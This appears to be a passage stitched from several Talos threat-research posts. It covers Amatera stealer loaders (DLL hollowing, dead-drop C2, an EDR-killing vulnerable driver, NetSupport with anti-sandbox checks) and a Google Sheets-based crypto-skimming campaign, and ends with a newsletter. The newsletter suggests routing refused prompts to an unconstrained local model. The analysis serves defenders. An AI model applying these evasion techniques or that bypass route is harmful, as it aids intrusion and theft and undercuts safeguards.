The packed code uses vectored exception handling, XOR loops, API hashing, and control-flow patterns, which makes the static analysis of the code more difficult. After the initialization, one of its threads is waiting for an event named hit. Once the event is triggered, it copies an embedded blob into memory and transfers control to it using Windows fibers. The next stage decoder uses XOR and LZNT1 to decode the final Amatera payload. 

The unpacked PE file, an Amatera sample, is also 32-bit, has no import table, and resolves APIs by walking loaded module export tables. The sample uses 32-to-64-bit transitions to execute system calls, possibly in an attempt to evade EDR hooks.  

The sample contains the build label 4.1.5-alpha and string GETWELLV2. Amatera is known to use the Steam community profiles as C2 dead drop resolvers, and the GETWELL2 string was observed in some previous samples as a name of a Steam community profile used to retrieve the IP address of the C2 server. Once C2 server address is resolved, the main configuration is downloaded.  

The Amatera payload was recovered only as a memory-resident artifact and was not observed to be written to disk. Its hash is nonetheless included in the indicator of compromise (IOC) list below, as memory derived hashes remain applicable to memory scanning. 

"verification.google" uses DLL hollowing in "dbghelp.dll" 

The "verification.google" variant does not immediately unpack its payload. It first prepares the state and then passes execution through a callback. The callback is registered using the dynamically resolved function TpAllocWork, an undocumented native NT internal function in "ntdll.dll". The callback is later executed asynchronously by Windows. The callback function implements most of the malicious unpacking functionality in a large control flow flattening loop. 

The loader resolves functions by hash, derives execution state from the environment and implements direct WoW64 syscall stubs. The stubs decode syscall numbers at runtime and call the WoW64 transition pointer instead of the corresponding exported "ntdll.dll" functions. 

The loader reconstructs its next stage from data in the .rdata section. It first maps a clean image of the legitimate "dbghelp.dll" in memory and then overwrites the beginning of its code section with the unpacked next stage. Finally, it restores executable protection before transferring control to the overwritten code section of the "dbghelp.dll".  

This module overwriting (stomping) technique is also known as DLL hollowing or module overloading. VMRay’s technical overview of DLL hollowing describes the same core sequence: loading a legitimate DLL, overwriting its mapped code with malicious content, and executing from that overwritten region. G DATA documented module stomping in a HijackLoader chain that delivered ACRStealer, using different DLLs, "evr.dll", and "rasapi32.dll" rather than the "dbghelp.dll" observed in our case. 

Amatera C2 configurations 

"pf.ch" loaded Amatera resolves its C2 through a Telegraph page 

Before starting its Amatera C2 session, the Amatera sample used in "pf.ch" branch constructs the dead drop C2 URL "https[:]//telegra[.]ph/Functions-04-03". At the time of analysis, the page looked like a short Rust programming tutorial titled “Functions.” with an altered code example containing the string r.]MTQ1LjI0OS4xMDkuMTQ3)0(. 

​ The raw HTML places the same value inside a println statement.  

Decoding MTQ1LjI0OS4xMDkuMTQ3 produces “145.249.109[.]147” as its C2 address.  

After resolving the address, the payload generates WoW64 transition gates, opens an Auxiliary Function Driver (AFD) socket and connects directly to "145.249.109[.]147" on TCP port 443.  

After connecting to the C2 server, Amatera connects to the GetEndpoints URL on the server. The response supplies randomized URI paths for different C2 functions. The stealer then uses the configuration path, together with an embedded build identifier, to retrieve its information collection rules.  

In the "pf.ch" build, a TLS-decoded HTTP buffer we were able to analyse contained a nonzero session identifier and an opaque 73-byte body whose framing is consistent with the ECDH and ChaCha20-Poly1305 protocol documented for recent Amatera versions.  

After removal of the transport and application encryption layers, the configuration is first Base64 decoded and then XOR decoded with the key 852149723\x00, before parsing it as a JSON object.  

Apart from the rules for stealing data the received configuration also contained the instructions to load secondary payloads in a ld (load) json array.  

The ld field is an array of secondary loader tasks supplied by the Amatera controller. Within each entry, u is the download URL, tf selects the payload type and tr selects file-based (1) or fileless (2) execution. The loader supports executables, DLLs, command scripts, PowerShell, raw shellcode and MSI packages, which is described by the field tf. The p value determines task order, with lower positive values processed first. 

"verification.google" loaded Amatera configuration 

The "verification.google" Amatera build stores its bootstrap controller as an encrypted string. At runtime, it decrypts the fixed address "45.150.34[.]2" and connects to it directly on TCP port 443, while presenting "github[.]com" as the TLS server name and HTTP Host value. Unlike the "pf.ch" build, it does not use a public dead-drop resolver to obtain its initial C2 address. After connecting, it sends the GetEndpoints command to obtain working endpoints used for subsequent communication.  

As in the "pf.ch" Amatera payload the first accessed C2 URL is GetEndpoints. This branch’s configuration contains over 400 entries across its browser, extension, messaging, wallet, and other-application collection lists, plus four file collection rules.  

The application rules in the configuration blob extend the initial browser related information collection to Telegram, Signal, WhatsApp, and other messaging data. They also cover over 100 desktop wallet locations and credential data from password managers, authenticators, FTP clients, mail clients, VPN software, and remote-access tools. Representative targets include KeePass, Bitwarden, 1Password, RoboForm, NordPass, WinAuth, Authy, FileZilla, AnyDesk, NordVPN and AzireVPN. 

Four file grabber rules cover the Desktop, Downloads, Documents and Windows Recent-items directory. Across those rules, more than 100 unique filename and extension patterns look for private keys, wallet backups, API and OAuth material, two-factor authentication data, password databases and certificate files such as .kdbx, .p12, .pfx and .pem. Most of the collection rules are focused on stealing cryptocurrency related data and credentials.  

Amatera secondary payloads 

Further on, we focus on the secondary loader tasks, which may point to a more advanced threat actor, based on the installed secondary payload type. 

The "pf.ch" Amatera build received two secondary tasks. One deployed a NativeAOT loader and ZigCryptoStealer, while the other ran a Go reverse TCP proxy from memory. The "verification.google" build received a PowerShell task that installed NetSupport Manager.  

NativeAOT chain runs ZigCryptoStealer 

The "jquery.min.js" entry has priority 1, so Amatera processes it first. Its tf: 1 and tr: 1 values select the file-based executable handler. The server response does not have to be a PE file but it can also be an archive file. When this handler receives an archive, the loader extracts it to a temporary directory, enumerates the resulting *.exe file and launches the selected executable. The most recently observed response was a ZIP archive, SHA-256 279d04c0cfd700c8bcb9acbed528131d3ffef8e25d12713e8649772739aecb92.  

The archive included the file "platform_experience_helper.exe", a legitimate Google Chrome component. The executable imports GetUserNameExW from "Secur32.dll", which is a malicious DLL file in the archive which gets sideloaded by the Chrome component.  

The side-loaded "Secur32.dll" is a NET NativeAOT loader which decrypts and loads 2 PE files. The first file is a user mode payload and the second a vulnerable driver used to ter. The NativeAOT DLL starts “C:\Windows\"explorer.exe" in a suspended state, manually maps the PE’s headers and sections into the child, changes its initial thread context to the new entry point, and resumes it.  

The payload is a cryptocurrency stealer written in Zig language — ZigCryptoStealer. It polls the clipboard, recognizes several cryptocurrency address formats and can replace matching values with addresses embedded in the payload.  

The payload makes a separate JSON-RPC eth_call through "bsc[.]rpc[.]blxrbdn[.]com" to BNB Smart Chain contract 0x7CC3cFC1Ac007B8c6566fD2C7419b15a75473468. This is a second use of EtherHiding in the infection chain, this time by the final payload rather than the browser delivery framework. VMRay has previously documented ZigCryptoStealer variants using BNB Smart Chain contracts as a dead drop for C2 configuration.  

ZigCryptoStealer disguises the request as a routine query for an ERC-20 token balance. It supplies a randomly generated cryptocurrency address, but the smart contract ignores it and instead returns text stored by the operator. The operator can change this text using the contract's setData(string) function. During our analysis, the contract returned "lb[.]propertyfind[.]cc", which ZigCryptoStealer then used as its C2 domain. 

The contract was deployed on March 16, 2026. The same wallet that deployed it made 39 successful setData calls through July 26. These calls provide a public history of the C2 values supplied to the malware with six domains active during July: 

Talos used Cisco Umbrella to observe DNS activity for all six domains while they were active. The two most recent values also had the broadest query distribution. Umbrella data includes DNS quaries from 38 countries for "static[.]quorashift[.]cc" and 98 for "lb[.]propertyfind[.]cc". Queries for the current value came most often from the United States, Indonesia, Brazil, India, and Egypt.  

Passive DNS shows that all six domains resolved through shared Cloudflare addresses.  

The second decrypted PE is a signed Windows driver whose version information contains the names MOCOMSYS & DCRC and DCRCV_U Driver (for SCM). Its original filename is "DCRCVDrv.sys", and it exposes the device \Device\DCRCVDRV_U.  

The NativeAOT loader enumerates running processes, hashes their names, and compares the hashes with an internal target list of EDR software and other security tools. For every matched process name, it sends the process identifier to the driver with IOCTL 0x2205c0. The driver’s handler accepts the four-byte PID, obtains a process handle and calls ZwTerminateProcess. We found no caller authorization check in that IOCTL branch. This gives the loader a kernel-mode process-termination primitive, a BYOVD driver. 

​

Go payload turns the host into a reverse TCP proxy 

The URL for the second secondary payload of the "pf.ch" branch yielded a binary shellcode blob with SHA-256 643ef35536ff9273fb84b8504467b1a5645cd3ffd5476d64b99244b02131b205. 

The 32-bit shellcode walks the process environment block (PEB) to find "ntdll.dll" and resolves LdrLoadDll, NtAllocateVirtualMemory, NtProtectVirtualMemory and NtFreeVirtualMemory . It then decrypts and decompresses the final payload stored in the shellcode using XOR to decrypt and LZNT1 to decompress the compressed proxy payload. 

The unpacked file has SHA-256 1819827e17f31e72d456158b6b9c90af25a65945f6f05d04a060da9f24179b25. 

The payload is a Golang 32-bit Windows executable with main package “github.com/acr/proxy-panel/cmd/bot”. It includes HashiCorp Yamux network multiplexing library with C2 hardcoded “wss://"update[.]dubbedmuch[.]cc"/”. 

The proxy reads the Windows MachineGuid and hostname, then sends them over WebSocket Secure (wss) protocol. After the C2 server accepts the client, the program creates a Yamux server session, multiplexing outgoing communications over the same connection. Each logical stream supplies a source and destination address. The client connects to the requested destination and relays bytes in both directions. 

PowerShell in the "verification.google" branch installs NetSupport Manager 

The secondary payload in this branch is "https://kr[.]cedar2glanz[.]ru/jewel[.]js". The tf value 4 of the single secondary payload loader instruction (ld) identifies the payload as PowerShell. The tr value 2 selects the execution path that retrieves the URL with PowerShell DownloadString and runs it through Invoke-Expression (IEX). Proofpoint’s Amatera analysis documents the same ld, tf and tr semantics in more details.  

The next PowerShell stage dynamically resolves native functions and runs an environment check before installing the payload containing the following steps: 

• It queries the C: volume serial and compares it with the hard-coded value 4E014A2F. The original expression returns true when this value matches, allowing execution to continue early and skipping the remaining checks.  
• It calculates system uptime from Win32_OperatingSystem.LastBootUpTime. An uptime below 10 minutes returns false, causing the script to exit. 
• It measures a native 500 ms NtDelayExecution call with GetTickCount64. If fewer than 400 ms appear to elapse, the gate returns false, which can identify an environment that accelerates or skips delays. 
• It checks the processor count. Fewer than three processors unexpectedly returns true and allows execution to continue early rather than rejecting the low-resource system. 
• It queries total physical memory. A reported value below 3.2GiB returns false. 
• It queries Win32_VideoController and selects the largest reported AdapterRAM value. A reported maximum below 384 MiB returns false. 
• It checks display-device friendly names and manufacturers against 36 strings associated with virtual graphics, remote displays, cloud platforms and generic virtual adapters. A match returns false. 

After the environment checks, the script derives an installation path by hashing MachineGuid|zdozwoqx3c. It also starts two background Powershell runspaces that request many legitimate URLs, including GitHub API, npm, Docker Hub, PyPI, NuGet, and PowerShell Gallery. The requests seem to generate decoy traffic to hide the malicious download within plausible developer activity. 

The script downloads "https://phys[.]stunned-amniotic[.]com/hub[.]log". Although the logs at the targeted system in Ukraine contained no evidence of accessing this URL we were able to download the file that was likely intended to be downloaded and executed by the Amatera stealer payload.  

The response at the time of analysis was a ZIP file with SHA256 bd36f4c15fe0acb6748da5ed12e45dcc37d412385812c078d1e4f04730e9f69b. Finally, the PowerShell validates ZIP entry paths, extracts the archive in the %APPDATA% directory, and starts "hypersnap.exe" executable without a visible window and creates a scheduled task triggered at user logon. 

The ZIP contains legitimate NetSupport Manager software 

The launched "hypersnap.exe" is a renamed, signed NetSupport Manager 12.44 "client32.exe". The "client32.exe" stub calls the export _NSMClient32@8 in signed "PCICL32.DLL", the main NetSupport client runtime containing the main functionality of the remote access platform.  

The actor-controlled "client32.ini" NetSupport Manager configuration enables silent operation, hides the system-tray interface, disables visible chat, message, disconnect, replay and help controls and configures "paternal-angrily[.]com:443" as the NetSupport HTTP Gateway. 

The client connects to the gateway, which acts as a proxy between the threat actor and the NetSupport Manager client installation at the victim system. The NetSupport client was configured to poll the gateway every 60 seconds. At the time of the analysis the domain resolved to the IP address "212.118.56[.]166", based in Russia.  

The NetSupport deployment used a license issued as KAKAN, with serial number NSM789508. The exact license file has appeared in numerous malicious NetSupport packages, including activity publicly tracked as EVALUSION and IClickFix. We therefore treat it as an indicator of shared deployment lineage rather than a unique threat actor identifier. 

NetSupport adds an operator driven capability after Amatera’s automated collection. Amatera steals configured credentials, session data, cryptocurrency material, and selected files. An unauthorized NetSupport client can then provide screen and input control, file transfer, inventory, process and service management and remote command or PowerShell execution. This could let an operator inspect data outside Amatera’s predefined rules, act on sessions from the original endpoint, or deploy additional tooling.  

Coverage 

The following ClamAV signatures detect and block this threat: 

• Win.Backdoor.BadDav-10060502-0
• Win.Backdoor.GoProxShell-10060503-0
• Win.Malware.AmateraStomper-10060507-0
• Win.Backdoor.BadNetSup-10060508-0
• Js.Downloader.ClickFix-10060510-0

Indicators of compromise (IOCs) 

The IOCs for this threat are also available at our GitHub repository here. 

Cisco Talos has recently observed a criminal campaign that leveraged an interesting twist on what we refer to as “legitimate service abuse.” In this monthslong campaign, the criminal actors used the Google Visualization API as part of a scheme to inject malicious JavaScript into two cryptocurrency trading websites. 

This campaign uses a twist on the tactics associated with “ClickFix” social engineering attacks, in which targets are manipulated into copying and pasting PowerShell or other commands and executing them to launch malware. Rather than targeting the victim device’s OS, the actors behind this campaign aim to convince the user to inject malicious code into their own browser session.

Early versions of this campaign began in early October 2025. The social engineering lures used initially focused on getting targets to paste a code snippet directly into the Chrome web browser’s navigation bar; the latest version relies on a legitimate Chrome plugin, Tampermonkey, to inject a loader script pasted in by the user and provide persistence across sessions with the current targeted site.

In March 2026, the actors behind the campaign began using the Google Visualization API to deliver malicious scripts stored in a Google Sheets document. In July, after frequent disruption of their posts on shared text sites, the actors moved to hosting all the components of their campaign in Google Docs and Google Sheets. 

So far, the actors behind the scheme have largely targeted individuals who frequent web discussion boards and forums focused on cryptocurrency trading, software development, basic cybersecurity, and hacking. The lure used in the campaign is designed to appeal mostly to would-be cybercriminals looking to make a quick profit off an “API vulnerability” that doesn’t exist to get bigger payouts on cryptocurrency trades.  

While this campaign doesn’t pose a specific threat to most organizations, the approaches that the actors here are using do. These techniques and tools could be leveraged in other malware and web attacks with much wider impact, including supply-chain attacks on e-commerce sites and other customer-facing systems.

Just Google it 

Google application abuse for C2 is not new by any stretch of the imagination. There have been multiple cases of state-sponsored actors using Google Sheets APIs, Google Drive, and other Google cloud services to help control deployed malware, concealing communications within traffic to otherwise trusted network spaces.

Hunting for these threats usually requires examination of DNS traffic and the processes that are making the requests to reach these destinations — like a random executable making a DNS request for “docs.google[.]com”. But when the requests are made from within a browser session, that makes detection much more difficult.

The Google Visualization API is a feature of Google Docs that is almost as old as the platform itself. Initially introduced in 2008, the API provides free, unauthenticated read-only access to the contents of any Google Sheets spreadsheet that has been publicly published to the web via queries embedded in a URI. These queries result in delivery of data from within the spreadsheet in JSON format or as an HTML table. 

A Visualization API request URI looks like this:

https[:]//docs.google[.]com/spreadsheets/d/[document identifier] /gviz/tq?[query language input formatted for HTTP] 

The API’s query language is very similar to Structured Query Language (SQL). For example, to get all of the content from a sheet’s column B returned as a JSON object, the query portion of the URI would be:

/gviz/tq?tqx=out:json&tq=SELECT%20B

API responses in JSON are returned in the format like the one below, ready to be parsed by the calling JavaScript application:

This is a read-only API, so it can’t be used by an application to alter the data in the spreadsheet. However, an application could append to the data to a spreadsheet connected to a Google Forms page by sending an HTML POST request. Presto! A full C2 system hidden within HTTPS traffic to a trusted domain.

The campaign Talos observed used the Visualization API to retrieve two cells from a remote spreadsheet containing obfuscated JavaScript, which were injected into the web browser session of a target. Used in combination with other abused legitimate services, the actors behind this campaign could modify the query used to change which cells were retrieved and injected, or if necessary change the spreadsheet targeted by the query — which they did after we disrupted their operations the first time.

Phishing for sharks 

The actors behind this scheme are looking for a very specific kind of mark: someone who is willing to commit fraud using technical means that they don’t clearly understand. Early versions of their phishing campaign documented by researchers used email, carrying links to a Google Docs document purportedly leaked security report. Actors also used comments on Pastebin and other text-sharing sites and direct messages in various forums to post links to versions of the Docs file.

In January, operators of the most recent incarnation of the scheme set up a Telegram account to facilitate the scam. The Telegram channel only allows posts from the channel administrator, and the threat actors delete older posts each time a new version of the lure is published to disguise the fact that they’re essentially just reposting the same fictional “exploit” over and over again.

Talos found multiple lures related to this Telegram channel posted in dark web forums, including the cybercrime-focused DarkForums. Lures were also posted in the comments on text files shared on Pastebin and a number of other text-sharing sites. Some (like the one above) directed recipients to a Telegram channel, while others linked directly to a Google Docs document promoted in the Telegram channel.

Waves of these messages were sent out at least twice a month, coinciding with new postings on the Telegram channel.  

Baiting the hook 

Talos saw two variants of the Google Docs document linked in the phishing messages. Both used the same “docs.google[.]com” URL and the same file name (“API Logic Flaw”).  The first was active from April 12 – 16, 2026; the second was active starting at least as early as April 19 and remained active as of July 22, despite it being reported to Google through multiple channels.

The initial version we observed targeted the cryptocurrency trading site “SwapZone[.]io”. It was formatted in the style of a vulnerability report and discussed a purported weakness in an older version of the ChangeNOW cryptocurrency exchange’s API allegedly still exposed through SwapZone; if accessed, the report claimed, it would result in “~38% higher payouts” on trades of Bitcoin for other cryptocurrencies.

All the reader had to do to leverage this mythical old API, according to the lure document, was copy the script shared through a “paste[.]sh” link into the navigation bar of the Chrome browser preceded by “javascript:”.

On April 18, Talos observed a new revision of the lure document. The new lure used the same “docs.google[.]com” URL as the previous lure but was rewritten to target a different trading site — “SimpleSwap[.]io”, another cryptocurrency trading aggregator. The fake exploit this time was a flaw in a “loyalty bonus” function that allegedly triggered a 25% boost in the value of the trade, according to the updated lure document.

This wasn’t the only revision to the lure. In the new version, instructions were given to install the Tampermonkey browser extension from the Chrome Web Store to activate the “bonus.”

The instructions then directed the targets to a link to a new source script on “paste[.]sh” to be added to the plugin (“https[:]//paste[.]sh/dQfdExjo#AqjB4BBt]lwLt2NKrlC0x8J9O”). The plugin would activate the script whenever the user visited “SimpleSwap[.]io”. 

Reeling them in: First-stage scripts 

Aside from their means of being executed by the user, both versions of this campaign’s first-stage loader script contained strings that do essentially the same thing. They both connected to the same Google-hosted spreadsheet via the Visualization API, retrieving blocks of code from different pairs of cells within the sheet.

The initial version of the script depended on direct user execution of the script within Chrome. Targets were instructed by the lure to copy the script from the “paste[.]sh” URL and paste it directly into Chrome’s navigation bar preceded by “javascript:” which results in the execution of the script within the context of the current web page.

The address of the Google Docs spreadsheet is plainly visible in the sample, and the JavaScript containing it swaps it for the fictitious vulnerable API’s URL to construct the Visualization API URL to retrieve the second stage script from:

This results in the Visualization API call to:

The script used in the second version of the lure was intended to be pasted into the Tampermonkey browser plugin’s configuration. It was somewhat more obfuscated than the first:

In this script, the URL needed for the visualization API call is hidden within the fake SimpleSwap API address, encoded in Base64:

When decoded, the block of text after “bonus” becomes:

In both cases, the generated request for the site comes from the Chrome browser and would have appeared as legitimate web traffic. Both scripts then concatenate the retrieved blocks of JavaScript, reconstruct the full second-stage JavaScript payload, and inject into the browser session.

In the first version, this is a bit more involved: The script explores the document object model of the web page looking specifically for script elements associated with browser extensions. If it finds more than one script associated with Chrome extensions, it picks a random one to inject the payload into. If no extensions are found, it picks a random <script> object within the page as the location for injection of the payload.

The method used in the second lure makes injection much easier for the attacker, as it uses an installed browser extension (Tampermonkey) to host the injected code. The script added to the extension assembles the payload code and appends it to the SimpleSwap web page’s code when the site is loaded. This also provides persistence, as the code will be loaded every time the target navigates to the SimpleSwap site.

Landing the catch: The second-stage payload 

Over the course of our investigation, Talos saw the actors behind this campaign change the the payload delivered by the first stage script multiple times, which all did essentially the same thing: They decoded JavaScript code to inject into the targeted web pages to create the “exploits” they used to steal Bitcoin from victims.

We collected 21 unique samples of the second-stage payload from the spreadsheet referenced by the API call. These included scripts for both versions of the lure, as the scripts for SwapZone were left in the spreadsheet after the actors shifted to SimpleSwap.

To conceal the contents of the spreadsheet from casual analysis, the actors hid the text containing payload data by formatting the text as white on a white background. As revisions were  made to the sheets to add new versions of the script, more rows were added to push the hidden cells further down the sheet, making them only discoverable through a text search or with the API query.

The payload within each pair of rows was heavily obfuscated JavaScript. Except in two cases, all the obfuscation was based on converting the functional script in the payload into arrays of hexadecimal pairs that had been XOR encoded. The rest of the script was math functions to render the code and additional garbage math to conceal the actual XOR key used. One sample used Base64 encoding along with conversion of characters to Unicode values (e.g., converting “A” to “\x41”). Another paired XOR with the use of Unicode escaping for the apostrophes used to contain each array element, further impeding analysis.  

Revisions of the scripts over the course of Talos’ observation used different XOR keys each time to change the signature of the code and used different random strings for variable and function names, consistent with output from “Obfuscator[.]io” and similar Javascript obfuscation tools. However, it was clear that there were no actual changes to the scripts being obfuscated after they were initially coded for each targeted site.

Both the SwapZone and SimpleSwap scripts targeted cryptocurrency transaction interfaces of the sites, creating new user interface elements and altering existing functions. The scripts performed the following key actions: 

• DOM and UI manipulation: The script monitors the page using MutationObserver and dynamically replaces displayed deposit addresses in the interface. The malware script also modifies displayed transaction amounts to deceive targeted users into believing that they have received a “bonus” on their transactions. HTML rendered by both versions of the script presents counterfeit “hidden functionality” within the site, as shown in Figure 12.

• Network interception: The script overrides the browser’s fetch API to inspect and modify responses related to wallet or deposit endpoints. When JSON responses containing cryptocurrency deposit addresses are returned, the script replaces legitimate addresses with attacker‑controlled addresses. Based on decoded UI selectors and identifiers found in the script, the malware intercepts the contents of elements in forms on the targeted websites such as:
  • data-testid="recipientAddressContainer" 
  • data-testid="depositAddress" 
  • data-testid="currencyList" 
  • data-testid="cryptoExchangeTab"
  • data-testid="mainExchangeForm"
• Clipboard hijacking: The malware monitors UI elements used to copy cryptocurrency addresses. When a user attempts to copy a deposit address, the script replaces the copied value with an attacker’s wallet address. A rotating list of Bitcoin Bech32 wallet addresses was embedded in the code of each script; these were selected randomly for substation. 
• Persistence: The script conducts periodic DOM scanning to ensure the malicious replacements persist during page updates. Further persistence is provided in the second version of the attack using the Chrome extension-based loader.

Cashing in 

Talos identified 49 BTC wallet addresses that were used in the campaign. The majority of the samples we de-obfuscated (from April to the end of June) used an identical set of 30 addresses. Of these, 24 received funds from victims of the scheme, totalling 0.159 BTC (approximately $10,000 at early August 2026 valuations of Bitcoin). There was likely more collected, as we were unable to find samples from prior to April and may not have captured the wallets used by all variants. 

It’s difficult to tell how much the actors behind this campaign have been able to extract from their scam-driven malware. Funds were routed out through 30 more wallets, sometimes using multiple counterparties within the set.  From there the funds were moved in highly complex transactions involving a total of over 3,000 additional addresses—likely related to a Bitcoin “mixing” operation to hide the funds’ destinations. 

Still, this has been a very lucrative operation for relatively little investment for the actors behind it. And it has been difficult to disrupt the operation. In April, we shared information about the campaign with both the targeted websites and with Google, and the documents acting as lure and C2 components were blocked; a week later, the campaign was back with a new Google sheet and another paste[.]sh script, and back in business at a slightly reduced rate of victim recruitment. 

Paste[.]sh’s administrator took action to automatically detect new scripts matching the first-stage script’s signature in July. The actor then updated the lure and added a Google Docs document containing the script. As of August 11, the Google documents have again been reported but are still active. 

Beyond dishonor among thieves 

It is hard to be sympathetic to victims of crimes that preyed on their own willingness to essentially be criminals, but the capabilities demonstrated in this campaign could have a much more widespread and damaging impact in the wrong hands.

The techniques used here are a variation on classic web skimming approaches. Other web skimming attacks, such as Magecart web skimming campaigns, depend largely on supply chain compromise to infect legitimate sites, injecting code through compromised dependencies — third party services, Node Package Manager distributions, and other external sources integrated into web pages to add features or provide application support.

With a rise in supply-chain attacks by groups such as TeamPCP, which has sold access to other cybercriminals, the methods used in this cryptocurrency-stealing campaign could be used to leverage stolen access across large numbers of web applications dependent on compromised code bases.

An actor leveraging this sort of access to gain additional targeted access or steal other information from web-based applications could use the techniques used in this campaign to selectively alter functionality of user interfaces with code from what would look to defenders to be legitimate application traffic. Malicious and fraudulent browser plugins already alter content in web pages and redirect traffic; a subtle corruption of an existing browser plugin update using a Google document for C2 could make detecting malicious activity from network telemetry much more difficult for defenders.

Additionally, other social engineering attacks could leverage the Visualization API for opportunistic attacks on organizations much in the way other ClickFix-style attacks have managed to convince users to execute malicious code.

To defend against these real and potential threats, organizations should take the following steps: 

• Manage users’ browsers, limiting use of developer-level functionality and deployment of browser extensions based on role. 
• Monitor for HTTP requests to “docs.google[.]com” from unknown applications or in the context of browser sessions that do not include other Google Docs activity. 
• Test and sanitize third-party dependencies in employee and customer-facing web applications regularly, checking for obfuscated script that appears out of place in JavaScript-based web and mobile applications. 
• Warn employees and customers of social engineering techniques and the dangers of modifying browser behavior through copy-and-paste code. 
  

Welcome to this week’s edition of the Threat Source newsletter. 

Our goal is to get accurate threat intelligence to our audience as quickly as possible, with all the context you need to ask the right questions of your own environment: How at risk are we from this threat? Are we prepared for it? And what can we do about it? 

What you don’t often see is all the... well, frankly, “mess” involved in producing it. All the dead ends we followed until we could confirm those ends were as dead as a doornail. All the work it took to ultimately produce an assessment, supported by evidence and written so that defenders can act on it. 

Much of that abstraction is necessary. Defenders need intelligence they can use, not a complete account of every conversation we had, or investigative detour behind it. But it can create an overly tidy picture of both cybercrime and the work required to understand it. 

If you do fancy a look behind the curtain, though, may I recommend our just-published episode of Beers with Talos? 

Our guest is Azim Khodjibaev, whose remit is adversary engagement. His work involves developing personas for deep- and dark-web research, engaging directly with threat actors, and building relationships with people who may become (and have been) openly threatening to him. 

At one point, he was maintaining eight separate personas, some of which were interacting with one another. Azim’s engagements have helped Talos identify prolific cybercriminals and contributed to wider disruption efforts. They have also resulted in ransomware operators placing “Azim sucks” in their code and accusing him of belonging to the very criminal groups he was investigating. 

His experiences also expose the problem with treating adversaries as uniformly sophisticated operators. Some are technically capable and highly organised. Others are impulsive, ego-driven, or one-trick ponies. Many have a scary detachment from the consequences of their actions. Increasingly, Azim is seeing less-experienced threat actors working through loosely organised online collectives.  

Intelligence necessarily turns that disorder into something defenders can understand and use. But occasionally, it is worth looking behind the finished product – the patience it takes to get accurate answers, who we are investigating, and the deeply human behaviour that shapes both sides. 

This Beers with Talos episode, “Eight People Walk Into a Dark Web Forum. They’re All Azim,” isn’t exactly going to help many people in our industry sleep better at night. But for anyone wanting to understand more about the threat we’re up against, as a co-host of the pod I’m biased, but I believe it’s an essential listen. 

And if that doesn’t inspire you to download the episode, perhaps my live review of trying Flamin’ Hot Cheetos for the very first time (with a chaser of Nerds) will. 

The one big thing  

Cisco Talos is highlighting a growing operational hurdle for security teams that we call the AI "safety penalty." As frontier AI models advance, their built-in guardrails are increasingly blocking legitimate defensive tasks. This was evident in July 2026 when Hugging Face's primary cloud LLM refused to analyze forensic data during a breach, delaying their response. While defenders are slowed by these frustrating refusals, adversaries are freely leveraging unconstrained models to attack at machine speed.  

Why do I care? 

This guardrail asymmetry hands the advantage directly to attackers. When a cloud-hosted AI model refuses a forensic request mid-incident, defenders lose precious time. Security teams are paying for vendor-imposed limitations without gaining a capability edge, especially as open-weight alternatives close the reasoning gap. Ultimately, relying on third-party alignment policies means a sudden update in Silicon Valley could quietly break your defensive workflows overnight.  

So now what? 

Security leadership must reclaim operational sovereignty by ensuring they have the final say over their AI's capabilities. Start by auditing your AI refusal rates to measure the exact cost of this safety penalty. From there, evaluate alternative architectures like private infrastructure, Model-as-a-Service platforms, or a hybrid fallback system that reroutes refused prompts to an unconstrained local model. Read the full blog to explore these roadmaps and learn how to keep pace with adversaries. 

Top security headlines of the week 

ShinyHunters claims it stole 284 million patient records from McKesson 
ShinyHunters told BleepingComputer and said it got in through vishing calls to McKesson employees, then used stolen credentials to take over Okta single sign-on accounts. (Help Net Security) 

Anthropic warns Claude users of infostealer malware infections 
Anthropic emphasized that the malware is general-purpose and not tied to Claude itself, typically arriving via unofficial downloads or malicious apps. The company said the malware quietly copies saved passwords, browser login cookies, and credentials for other local applications. (Security Week) 

EU puts ChatGPT, Reddit, and Roblox under stricter DSA rules 
The DSA establishes rules governing areas including platform transparency, illegal content, advertising, researcher access, recommender systems, and systemic-risk management. (CyberInsider) 

PaperCut issues emergency patches as threat actors target chained vulnerabilities 
PaperCut issued the patches on Friday to address critical vulnerabilities in its print-management software. The company confirmed in a security advisory that multiple customers were successfully targeted and that it is working with security researchers to respond to the attacks. (Cybersecurity Dive) 

Can’t get enough Talos? 

JavaScript obfuscation: From party trick to phishing kit
We've spent a lot of time pulling apart suspicious JavaScript from phishing kits, malware packages, compromised sites, and more. Learn the basics of what obfuscation is, why a researcher would try to reverse it, and several ways to approach the problem. 

Choose your fighter: Balancing competing AI SOC model requirements 
Selecting a model for your security operations center (SOC) and digital forensics and incident response (DFIR) tasks is important, but selecting the best one is more involved than you might think. Here's how to choose. 

Beers with Talos: Eight people walk into a dark web forum. They're all Azim.
What does it take to become someone a cybercriminal will trust? Talos' Azim Khodjibaev takes us inside the psychology of direct adversary engagement. At one point, he was maintaining eight different personas, some of which were talking to each other. He explains how discipline and patience help keep his cover intact, and what can provoke threat actors into revealing information.

Upcoming events where you can find Talos 

• International European Cyber Threat Intelligence Conference (IECTIC) (Sept. 9) Kassel, Germany 
• Secure Iowa (Sept. 9) Altoona, IA 
• .conf26 (Sept. 14 – 17) Denver, CO 
• LABSCon (Sept. 16 – 19) Scottsdale, AZ 
• VB (Oct. 14 – 16) Seville, Spain 
• CAMLIS (Oct. 21 – 23) Arlington, VA 

Most prevalent malware files from Talos telemetry over the past week 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
Example Filename: VID001.exe  
Detection Name: W32.9F1F11A708-100.SBX.TG** 

SHA256: 228c316455d5ed69232adcbe9acd033092f200014cfa7ed40d6c382f07b19b82  
MD5: 61e046145ee5cf45aeb033cd71e8b07c  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=228c316455d5ed69232adcbe9acd033092f200014cfa7ed40d6c382f07b19b82 
Example Filename: NetGuard.exe  
Detection Name: W32.228C316455-95.SBX.TG 

SHA256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
MD5: 7bdbd180c081fa63ca94f9c22c457376  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91 
Example Filename: d4aa3e7010220ad1b458fac17039c274_62_Exe.exe  
Detection Name: Win.Dropper.Miner::95.sbx.tg** 

SHA256: c4dd71e347a076ba24bdd2d0ee532ef991c1ef25a2431a19f850942ba2ab16b2  
